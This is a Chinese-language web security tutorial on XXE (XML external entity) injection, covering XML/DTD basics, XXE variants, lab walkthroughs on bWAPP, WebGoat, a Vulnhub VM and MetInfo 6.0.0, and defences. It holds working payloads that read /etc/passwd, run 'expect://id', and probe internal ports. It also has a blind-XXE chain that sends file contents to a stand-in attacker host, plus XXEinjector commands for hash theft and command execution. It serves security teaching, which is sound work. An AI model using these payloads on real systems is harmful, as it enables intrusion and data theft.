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[红日安全]Web安全Day8 - XXE实战攻防
2020-02-17 16:54:38
所属地 河北省

本文由红日安全成员: ruanruan 编写,如有不当,还望斧正。

大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

1. XXE概述

XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
下面我们主要介绍PHP语言下的XXE攻击.

1.1 XML基础

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。

1.1.1文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

1.1.2 DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
(1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>

1.1.3 DTD实体

(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>

三种实体声明方式使用区别:
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

1.2 XXE原理

XXEXML外部实体注入 。我们先分别理解一下注入和外部实体的含义。
注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。
所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。

1.3 XXE分类

下面我们对XXE进行一下分类,按照构造外部实体声明的方法不同可分为直接通过DTD外部实体声明、通过DTD文档引入外部DTD文档中的外部实体声明和通过DTD外部实体声明引入外部DTD文档中的外部实体声明。按照XXE回显信息不同可分为正常回显XXE报错XXEBlind XXE

1.3.1 按构造外部实体声明

1.3.1.1 直接通过DTD外部实体声明

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;<hhh>

1.3.1.2 通过DTD文档引入外部DTD文档中的外部实体声明

XML文件内容:

<?xml version="1.0"?>
    <!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">

<hhh>&f;<hhh>

DTD文件内容:

<!ENTITY f SYSTEM "file:///etc/passwd">

1.3.1.3 通过DTD外部实体声明引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]>

<hhh>&f;<hhh>

Quan.dtd的外部实体声明内容:

<!ENTITY f SYSTEM "file:///etc/passwd">

1.3.2 按输出信息

1.3.2.1正常回显XXE

正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。

1.3.2.2 报错XXE

报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息,可根据错误信息的不同判断是否注入成功。

1.3.2.3 Blind XXE

当服务器没有回显,我们可以选择使用Blind XXE。与前两种XXE不同之处在于Blind XXE无回显信息,可组合利用file协议来读取文件或http协议和ftp协议来查看日志。
Blind XXE主要使用了DTD约束中的参数实体和内部实体。
在XML基础有提到过参数实体的定义,这里就不再做详细讲解。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml">
%remote;
%all;
]>

<root>&send;</root>

Quan.xml内容:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

%remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。
利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

2. 危害

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

2.1 读取任意文件

PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件,还可利用PHP伪协议。

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;<hhh>

XML在各语言下支持的协议有:
20191012092716-6cd1e948-ec8f-1.png

2.2 执行系统命令

这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "expect://id">
]>

<hhh>&f;<hhh>

2.3 探测内网端口

可根据返回信息内容判断该端口是否打开。若测试端口返回“Connection refused”则可以知道该端口是closed的,否则为open。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
    <!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

3.测试方法

在进行手工测试之前先介绍几个测试XXE漏洞常用的靶场,包括靶场的安装、环境配置以及使用方法。

3.1 测试靶场介绍

3.1.1 PHP靶场-bWAPP

bwapp是一款非常好用的漏洞演示平台,包含有100多个漏洞。开源的php应用后台Mysql数据库。

3.1.1.1 安装

BWAPP有两种安装方式,一种是单独安装,需部署在Apache+PHP+Mysql环境下;一种是虚拟机导入,下载后直接用VMWare打开即可。
下面分别介绍两种方式的安装方法。
1)单独安装
由于需要部署在Apache+PHP+Mysql环境下,我们可以直接使用集成环境,这里笔者使用的是PHPStudy,PHPStudy的安装及使用在此就不做介绍了。
(1)下载链接:
https://sourceforge.net/projects/bwapp/files/latest/download
(2)安装步骤:
A.下载后解压文件,将文件放在WWW目录下
B.在admin/settings.php下更改数据库连接设置
20191008112930-d70ea95c-e97b-1.png

同时也能在文件下方看到默认登录账户名及密码,可按需更改
20191008112931-d78380e2-e97b-1.png

C.运行PHPStudy,然后在浏览器打开http://127.0.0.1/bWAPP/install.php
20191008112932-d80ea884-e97b-1.png

点击here创建数据库
D.安装成功,进入靶场主界面
(3)使用方法:
账户名及密码:bee/bug
可在右上方选择漏洞和安全级别进行测试
20191008112934-d8eb8538-e97b-1.png

3.1.1.2 虚拟机导入

虚拟机版本能够测试的漏洞更多,比如破壳漏洞,心脏滴血漏洞等在单独安装的环境下无法测试。
(1)下载链接:
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
(2)安装步骤
下载后解压,打开VMWare,在打开虚拟机选项中进入bee-box文件选择bee-box.vmx即可。
选择NAT模式,开启虚拟机即可进入主界面
20191008112935-d9922406-e97b-1.png

(3)使用方法:
登录:bee/bug;安全等级可选;低-中-高
方法一:直接在bee-box虚拟机中使用,点击bWAPP-Start即可进入登陆页面,登录后在右上方找到XXE漏洞,选择测试等级
20191008112937-dac73f6e-e97b-1.png

方法二:查看虚拟机IP,在物理机浏览器访问http://虚拟机IP地址/bWAPP/login.php进行登录,登录后在右上方找到XXE漏洞,选择测试等级
20191008112937-db3b67c2-e97b-1.png

20191008112941-dd5c5106-e97b-1.png

3.1.2 java靶场--webGoat

3.1.2.1 webGoat简介

WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。

3.1.2.2 WebGoat安装

(1)下载链接
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar
(2)安装JDK
https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html
需为最新JDK版本
(3)启动
java -jar webgoat-server-8.0.0.M25.jar
WebGoat默认是127.0.0.1:8080
java -jar webwolf-8.0.0.M25.jar
Webwolf默认9090端口
可修改IP和端口参数
java -jar webgoat-server-8.0.0.M25.jar --server.port=8000 --server.address=0.0.0.0

(4)在浏览器中访问127.0.0.1:8080/WebGoat(区分大小写),进入WebGoat

3.1.3 DSVW靶场

3.1.3.1 DSVW简介

Damn Small Vulnerable Web (DSVW) 是使用 Python 语言开发的 Web应用漏洞 的演练系统。其系统只有一个 python 的脚本文件组成, 当中涵盖了 26 种 Web应用漏洞环境, 并且脚本代码行数控制在了100行以内, 当前版本v0.1m。需要python (2.6.x 或 2.7)并且得安装lxml库

3.1.3.2 安装步骤

(1)安装lxml
apt-get install python-lxml
(2)下载靶场
git clone https://github.com/stamparm/DSVW.git
(3)运行脚本
python dsvw.py
(4)浏览器访问http://127.0.0.1:65412
出现下图页面则安装成功
20191008112942-dde67dae-e97b-1.png

3.1.4 xxe-lab

3.1.4.1 靶场介绍

xxe-lab是一个使用php,java,python,C#四种当下最常用语言的网站编写语言来编写的一个存在xxe漏洞的web demo。由于xxe的payload在不同的语言内置的xml解析器中解析效果不一样,为了研究它们的不同。作者分别使用当下最常用的四种网站编写语言写了存在xxe漏洞的web demo,将这些demoe整合为xxe-lab。

3.1.4.2 靶场安装

下载链接:https://github.com/c0ny1/xxe-lab
(1)PHP下安装
将php-xxe放入PHPStudy的WWW目录下即可
20191008112942-de20d896-e97b-1.png

(2)Java下安装
java_xxe是serlvet项目,直接导入eclipse当中即可部署运行。
(3)Python下安装
A.安装Flask模块
B.python xxe.py

3.2 手工测试

这里笔者选用bWAPP虚拟机靶场对回显XXE和Blind XXE进行手工测试。

3.2.1 Low等级

3.2.1.1测试过程

Bug:选择XML External Entity Attacks (XXE)
Security level:选择low
20191008112944-deee23c8-e97b-1.png

点击Any bugs?进行抓包,发送到Repeater
20191008112945-dffea198-e97b-1.png

根据请求包内容可知,xxe-1.php 文件中将接收到的XML文件以POST方式发送给xxe-2.php,安全等级为0。
读取网站任意文件Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136/bWAPP/robots.txt">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

读取成功
20191008112946-e08a4c48-e97b-1.png

内网端口检测 payload:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

探测80端口,显示报错信息
20191008112951-e30cbfdc-e97b-1.png

netstat -tln查看本机已开放哪些端口
20191008112951-e35c2ee6-e97b-1.png

23端口未开放,报错信息也与探测开放端口的报错信息不同
20191008112953-e4bab74e-e97b-1.png

由于此靶场没有BlindXXE漏洞,但我们可以运用BlindXXE的思路来做一下测试
先构造XXE的文件读取payload
20191008112954-e51e9d9a-e97b-1.png

假设没有回显,想知道是否成功读取目标服务器文件,可通过查看日志
20191008112955-e5621868-e97b-1.png

从日志可知利用XXE成功读取文件。
将payload中的robots.txt改为不存在的hhh,再查看一下日志,可以看到404,目标服务器不存在该目录。
20191008112955-e5bcf42c-e97b-1.png

测试就到这里,下面我们分析一下Low级别的源码

3.2.1.2 源码分析

bWAPP/xxe-2.php关键代码
20191008112956-e6615eea-e97b-1.png

xxe-2.php文件通过PHP伪协议接收XML内容,然后使用simplexml_load_string() 函数直接把 XML 字符串载入对象中,未做任何过滤,最后再将从xml中获取的login元素值直接回显。

3.2.2 Medium\High等级

用读取robots.txt的代码测试一下,未返回文件内容
20191008112958-e764e014-e97b-1.png

分析一下源码
bWAPP/xxe-2.php关键代码
20191008113000-e8715f00-e97b-1.png

可以发现Medium\High等级为相同代码。
与Low级别一样,xxe-2.php文件通过PHP伪协议接收XML内容,然后使用simplexml_load_string() 函数直接把 XML 字符串载入对象中,未做任何过滤。
但不同之处在于login元素值是从session中获取,攻击者无法利用login元素来进行XXE攻击。

3.3 工具测试

3.3.1 Collaborator插件

3.3.1.1 工具介绍

Burp Collaborator是从Burp suite v1.6.15版本添加的新功能,它几乎是一种全新的渗透测试方法,常用于测试不回显信息的漏洞。Burp Collaborator会渐渐支持blind XSS,SSRF, asynchronous code injection等其他还未分类的漏洞类型。

3.3.1.2 安装过程

Burpsuite的extender模块下的bapp store ,找到 Collaborator点击安装即可。
安装后默认使用官方提供的服务器(推荐),也可以自己搭

3.3.1.3 测试过程

由于小蜜蜂靶场没有BlindXXE漏洞,我们继续假装它就是没回显
先抓取数据包,并修改为如下payload
20191008113001-e90eb192-e97b-1.png

再点击Burp Collaborator client打开 collaborator 插件
20191008113001-e98444a2-e97b-1.png

再点击Copy to clipboard复制payload url,该url随机生成
20191008113003-ea2c23ac-e97b-1.png

然后使用Collaborator生成的payload url
20191008113003-eabb3006-e97b-1.png

点击go后可以在Collaborator看到访问记录
20191008113005-eb80ab38-e97b-1.png

响应包返回一串随机内容,说明成功进行了响应,目标服务器进行了外部的请求和交互,证明存在Blind XXE。

3.3.2 XXEinjector

3.3.2.1 工具介绍

XXEinjector是一款基于Ruby的XXE注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。

3.3.2.2 安装过程

下载链接:https://github.com/enjoiz/XXEinjector
(1)安装Ruby环境
apt-get update //更新源
apt-get install ruby//安装ruby
ruby -v//查看ruby版本
(2)安装gem
gem list
gem install [gem-name]
gem environment
(3)下载工具然后解压,在进入此目录调用XXEinjector.rb即可
unzip XXEinjector-master.zip

3.3.2.3 使用方法

20191008113007-ecfa2bec-e97b-1.png

(1)枚举HTTPS应用程序中的/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
(2)使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
(3)二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
(4)使用HTTP带外方法和netdoc协议对文件进行爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
(5)通过直接性漏洞利用方式进行资源枚举
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
(6)枚举未过滤的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
(7)窃取Windows哈希
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
(8)使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
(9)使用PHP expect执行系统指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
(10)测试XSLT注入
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
(11)记录请求信息
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

4. 真实实战演练

这里选取vulnhub实战虚拟机靶场来进行实战,主要包括以下内容

4.1 靶场介绍

Haboob团队为发布的论文“XML外部实体注入 - 解释和利用”https://www.exploit-db.com/docs/45374制作了这个虚拟机,以利用专用网络中的漏洞。

4.2 靶场安装

镜像下载链接:https://download.vulnhub.com/xxe/XXE.zip
下载后直接解压导入虚拟机即可。默认NAT模式,DHCP服务会自动分配一个IP地址。

4.3 靶场实战演示

20191008113008-edaf5198-e97b-1.png

探测IP
20191008113010-ee9ff60c-e97b-1.png

可以从扫描结果得出,80端口开放,中间件是Apache,从robots.txt中得出有/xxe/目录和/admin.php文件
访问/xxe/目录
20191008113011-ef45f5e8-e97b-1.png

随便输个admin,password,然后抓包
20191008113012-efd2457a-e97b-1.png

改成读取本机文件payload,成功读取flagmeout.php
20191008113013-f034e540-e97b-1.png

发送到Decoder进行Base64解密
20191008113013-f091bcfc-e97b-1.png

5. CMS实战演练

选取Metinfo6.0.0进行XXE漏洞实战攻击测试。

5.1 CMS介绍

米拓企业建站系统主要用于搭建企业网站,采用PHP+Mysql架构,全站内置了SEO搜索引擎优化机制,支持用户自定义界面语言(全球各种语言),支持可视化傻瓜式操作、拥有企业网站常用的模块功能(企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理)。

5.2 CMS安装

5.2.1 下载地址

https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip

5.2.2 安装步骤

下载好后解压放到WWW目录即可,记得更改数据库密码。

5.3 CMS漏洞介绍

漏洞发生在此处文件:app/system/pay/web/pay.class.php
漏洞成因:未禁止外部实体加载

5.4 CMS实战演示

审计源码时搜索simplexml_load_string函数,找到漏洞文件app/system/pay/web/pay.class.php
20191008113014-f0fd7834-e97b-1.png

未禁止外部实体加载,测试是否存在外部实体引用。
20191008113016-f1fa3f56-e97b-1.png

如果回显报错可能是PHP版本问题,更改php.ini设置即可。
20191008113016-f2308b2e-e97b-1.png

通过查看日志可以知道已成功访问目标服务器。
20191008113016-f26d771e-e97b-1.png

5.5 修复建议

更新MetInfo版本,v6.1.0已删除pay.class.php文件。

6.防御方法

6.1 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

6.2 PHP下

libxml_disable_entity_loader(true);

6.3 JAVA下

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

6.4 Python下

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

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# 渗透测试 # web安全 # python
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